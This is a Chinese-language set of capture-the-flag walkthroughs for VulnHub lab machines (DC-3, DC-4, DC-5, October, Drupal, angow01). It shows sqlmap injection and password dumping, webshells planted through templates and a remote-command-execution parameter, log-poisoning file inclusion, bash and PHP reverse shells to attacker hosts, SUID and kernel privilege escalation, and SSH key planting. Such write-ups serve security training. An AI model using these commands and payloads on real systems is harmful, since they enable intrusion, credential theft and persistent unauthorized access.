总字符数: 6.81K

代码: 920, 文本: 5.89K

预计阅读时间: 14 分钟

DC-3

### arp-scan使用Kali中的[arp](https://so.csdn.net/so/search?q=arp&spm=1001.2101.3001.7020)-scan工具扫描结果如下: ### nmap探测使用[nmap](https://so.csdn.net/so/search?q=nmap&spm=1001.2101.3001.7020)工具 端口扫描结果如下: 由扫描结果知开放端口只有一个: 80(http默认端口). ### 访问web访问web界面如下: ### 对网站信息收集打开插件Wappalyzer进行网站指纹识别如下: 从指纹识别信息中提取出的信息有: 1 内容管理系统(CMS):Joomla *Joomla**!*是使用PHP语言加上MySQL数据库所开发的软件系统. 2 操作系统:Ubuntu 3 字体脚本:Google Font API 4 Web服务器:Apache 2.4.18 5 编程语言:PHP 6 JavaScript:JQuery 1.12.4 JQuery Migrate 1.4.1 7 用户界面(UI)框架:Bootstrap Kali中的joomscan网站扫描工具就是专门用来扫描此类网站的 `perl joomscan.pl --url `[http://172.16.12.151](http://172.16.12.151/) 其中joomla版本为:3.7.0 后台管理页面为:[http://192.168.164.132/administrator/](http://192.168.164.132/administrator/) ### 用户密码破解搜索漏洞 我们查看这个sql注入的文本文档 写的很详细,包括注入的类型和payload及使用sqlmap暴力注入 直接上sqlmap 暴库 `sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]` 暴表 `sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]` 看到了user相关表 暴字段 `qlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]` 暴内容 `sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering] ` 破解密码 将密文保存到一个文件中使用john破解,:后面的为密码 用户admin的密码为snoopy 使用admin登录web ### 提权生成木马 访问[Protostar Details and Files](http://192.168.164.132/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==) 点进去更改index.php的内容,写入木马 保存,使用weevely连接 Find查找有特殊位权限文件`find / -perm -u=s -type f 2>/dev/null` 查看系统内核以及系统版本 只要符合条件的都可以试一下,这里选择39772,下载 记住使用方法,kali去下载这个压缩包 靶机下载 解压zip 进入目录,继续解压exp 反弹shell,weevely有些不好使 更换为全交互终端 `python3 -c 'import pty;pty.spawn("/bin/bash")'` 进入这个目录,运行文件 等待大概1分钟,提权成功 查看flag ## DC-4### 环境搭建 下载靶场文件,使用Vbox或者VM打开即可;攻击机使用kali-2020. ### 信息收集#### 主机发现​ 使用Kali中的arp-scan工具扫描结果如下 #### 端口探测探测使用nmap工具 由扫描结果知开放端口有两个:22(SSH服务默认端口)和80(http默认端口) #### 目录扫描dirsearch #### 访问web访问web界面如下 #### 网站信息收集打开插件Wappalyzer进行网站指纹识别如下 从指纹识别信息中提取出的信息有: 1 Web服务器:Nginx 1.15.0 右键点击查看源代码未发现flag字样 从源代码中只能看见用户名/密码的提交方式为POST方式,先尝试一些常见的用户名和密码如admin:admin等登陆失败,用php万能密码登录也是失败. #### 用户密码破解账号密码:admin,happy,没必要爆破,有些人的教程是爆破,很多字典里基本不会有这种词 使用账号密码登录如下 点击Commad出现如下 点击第一个选项点击run出现如下页面 继续用bp抓包看看 看样子我们可以在这里抓包更改执行我们想要执行的命令,直接反弹shell ### exim4提权发现可以使用exim4进行提权操作 查看版本号,版本为4.89 Kali中寻找提权方法 上面中最后选用的是46996.sh脚本,将此文件上传到DC-4上**尽量下载到tmp目录下,记得chmod 777 46996.sh** 开始提权 提权成功,查看flag文件 ## DC-5 ### 渗透过程1. kali扫描局域网:
1
arp-scan -l
nmap扫描开放的服务及端口:
1
nmap -sS -Pn -p- -v -P4 192.168.138.133
看到开启了80端口的web服务,访问`http://192.168.138.133` 使用kali自带的目录爆破工具`dirbuster`对该ip的目录结构进行爆破: 访问扫描出来的`footer.php`文件: 发现每次访问,年份都会发生变化: 并且在每个页面的底部都有类似字样: 猜测对`footer.php`进行了文件包含 这里使用kali自带的`wfuzz`工具,对文件包含的参数进行爆破:
1
wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.138.133/thankyou.php?FUZZ=/etc/passwd
`-z`指定字典文件`/usr/share/wfuzz/wordlist/general/common.txt`,第二个参数指定爆破的url地址和参数位置(FUZZ所在位置) 通过判断返回包长度来确定正确的参数,这里尝试读取`/etc/passwd`
1
http://192.168.138.133/thankyou.php?file=/etc/passwd
成功读取 可以尝试包含`access.log`日志文件:
1
http://192.168.138.133/thankyou.php?file=/var/log/nginx/access.log
那我们可以采用在`access.log`注入一句话木马,然后进行包含来运行. 使用蚁剑终端反弹shell:
1
bash -c 'bash -i >& /dev/tcp/192.168.138.129/7777 0>&1'
使用python将半交互式shell转换为全交互式shell:
1
python -c 'import pty;pty.spawn("/bin/bash")'
尝试使用`suid`进行提权:
1
find / -perm -u=s -type f 2>/dev/null
`screen`程序可能进行提权,使用`searchsploit`搜索该程序相关漏洞:
1
searchsploit screen 4.5.0
存在越权点,将41154.sh文件拷贝到当前目录:
1
searchsploit -m 41154.sh
将其使用蚁剑上传至靶机中,并更改权限为777: 在反弹的shell中执行该脚本文件:
1
./41154.sh
成功提权至root ## october ### 靶场搭建> 下载完导入虚拟机,然后使用默认桥接模式即可. > 下载链接:[https://www.vulnhub.com/entry/its-october-1,460/](https://www.vulnhub.com/entry/its-october-1,460/) > 如果出现IP无法分配可参考: > [https://www.cnblogs.com/yichen115/p/12609048.html](https://www.cnblogs.com/yichen115/p/12609048.html) ### 信息收集#### app-scan扫描内网发现敏感IP`arp-scan -l` #### nmap`nmap -sS -Pn -v -A T4 192.168.164.130` 使用namp扫描常用端口 #### dirsearch扫描敏感目录 1. `dirsearch -u http://192.168.164.130`,可以看到auth,盲猜是个登录页面,访问看一下 看到需要账号密码,暂时放弃 2. `dirsearch -u http://192.168.164.130:8080` 查看8080端口有没有隐藏信息,后面在8080端口的源代码中发现了注释代码 访问这个页面,可以看到账号密码,拿这个账号密码去登录 登录进来之后查找指纹信息 使用searchsploit漏洞库搜索一下相关手册,下载这个手册 在这个手册中可以发现PHP upload protection bypass 可以通过这个方法绕过一下,我这里通过Google使用了cms中的创建文件的方法 写入代码
1
2
3
function onstart(){
$s=fsockopen("YOUR-VPS",6666);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}
kali监听6666端口,并且去访问这个页面 ### 系统提权用某些方法将以下文件下载到KALI`https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`然后用kali起一个服务,在靶场使用wget下载sh文件,并且赋予可执行权限 `python3 -m http.server 8080` 通过上图发现了这台机器有python3.7.使用python3.7将当前半交互Shell变为全交互`python3 -c 'import pty;pty.spawn("/bin/bash")'` 使用find看看root权限中的命令有没有python3.7
1
2
3
4
5
6
7
8
9
find / -perm -u=s -type f 2>/dev/null
# / 表示从文件系统的顶部(根)开始并找到每个目录
# -perm 表示搜索随后的权限
# -u=s 表示查找root用户拥有的文件
# -type表示我们正在寻找的文件类型
# f 表示常规文件,而不是目录或特殊文件
# 2 表示该进程的第二个文件描述符,即stderr(标准错误)
#>表示重定向
# /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容
用带有root权限的Python3.7去新建一个终端,那么这个终端就会带有root权限
1
2
3
# bash -p 开启一个新shell suid的话自然是开启 root shell
# os模块: 对进程和进程运行环境进行管理
/usr/bin/python3.7 -c 'import os; os.execl("/bin/bash", "bash", "-p")
这里可以看到uid虽然是www-data的,但是euid却是root的. > linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限) > > *RUID,* 用于在系统中标识一个用户是谁,当用户使用用户名和密码成功登录后一个*UNIX*系统后就唯一确定了他的*RUID.* > > *EUID,* 用于系统决定用户对系统资源的访问权限,通常情况下等于*RUID*. > > *SUID*,用于对外权限的开放.跟*RUID*及*EUID*是用一个用户绑定不同,它是跟文件而不是跟用户绑定. ### ssh登录思路:使用kali的ssh密钥替换掉被攻击机的密钥来实现远程登录. 1. kali生成密钥:`ssh-keygen -t rsa` 2. 使用python起一个web服务(将id_rsa.pub从.ssh目录复制到其他目录后,再从其他目录开启服务),`python3 -m http.server 8080`靶机使用wget下载`id_rsa.pub` 3. `cp id_rsa.pub /root/.ssh/authorized_keys ` 1. 最后在攻击机上使用root私钥进行ssh连接 ## drupal 靶场环境搭建:直接打开虚拟机 ### 信息收集#### app-scan扫描内网发现敏感IP`arp-scan -l` #### nmap`nmap -sS -Pn -v -A T4 192.168.164.131` 使用namp扫描常用端口 发现80端口,打开后发现需要登录,发现指纹为:drupal ### 攻击#### msf使用msf扫描指纹相关漏洞并且使用 设置要攻击的IP 运行,获取meterpreter 在当前目录下发现了flag1 查看文件内容 大概提示是一个优秀的cms一定会有配置文件,下面有请百度战士,搜一下drupal的项目结构 首先查看数据库配置文件,发现配置文件中有mysql账号密码 通过数据库账号密码连接到数据库查看敏感库以及表,找到后台的账号密码 发现了一个users表,查一下内容 发现密码加密,查找加密的文件(上面百度搜的时候说了scripts目录下有数据库相关脚本),发现了敏感词汇,password打开之后可以发现就是我们要找的password加密文件 重新加密一个密码替换进去,**原加密密文一定记得保存,后续还要替换回去** 在/vat/www下使用加密脚本用法`./scripts/password-hash.sh [需要加密的明文]`使用方法还可以看这个脚本的源代码,里面有写 进入数据库后执行`UPDATE users SET pass="$S$Dv1IQzDZwEol9ORsIWxj1td1f.4yv/EDQBZ/HFqF46S84tS13gSU" where uid=1;` 可以发现已经被替换 使用admin和123456进入后台,各个功能点开试一下,发现了flag3打开看一下 **捕获关键字** flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到 /etc/passwd文件和/etc/shadow文件 1. 所有的用户的账号和密码都在这两个文件中 2. /etc/passwd保存着每个用户账号.该文件只有管理员可以修改,但是对于所有的用户都可读 3. /etc/shadow保存着密码等信息.该文件只有系统管理员能够修改和查看,其他用户不能查看、修改. 查看/etc/passwd文件 在最后一行可以看到flag4在/home/flag4下 提示我们需要root权限,提权 `find / -perm -u=s -type f 2>/dev/null` `find . -exec /bin/sh \;` 提权成功 到root目录下查看最终flag 登入msyql,将原来的密文替换回去 `UPDATE users SET pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where uid=1;` 可以看到已经替换回去了,剩下的权限维持自行发挥吧 ## angow01 如果出现IP无法分配可参考: [https://www.cnblogs.com/yichen115/p/12609048.html](https://www.cnblogs.com/yichen115/p/12609048.html) ### arp-scan ### nmap 访问80页面,测试一下基本功能点,发现这个地方有rce `http://192.168.164.133/site/busque.php?buscar=ls` ### 写马`http://192.168.164.133/site/busque.php?buscar=echo%20%27%3C?php%20eval($_POST[%27a%27]);%27%20%3E%203.php` 进去之后,反弹shell`bash -c 'bash -i > /dev/tcp/192.168.164.129/443 0>&1'` **此靶场只能用443反弹shell请注意** 使用python3.7将当前半交互Shell变为全交互
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
### 提权Find查找有特殊位权限文件`find / -perm -u=s -type f 2>/dev/null` 查看系统内核以及系统版本 根据前面的系统版本和内核查找历史漏洞 可以一个个测试,这里测试了45010可以 下载45010 使用蚁剑,将这个.c文件上传到靶机的tmp目录下 使用靶机编译 使用chmod 赋予a.out权限 发现了flag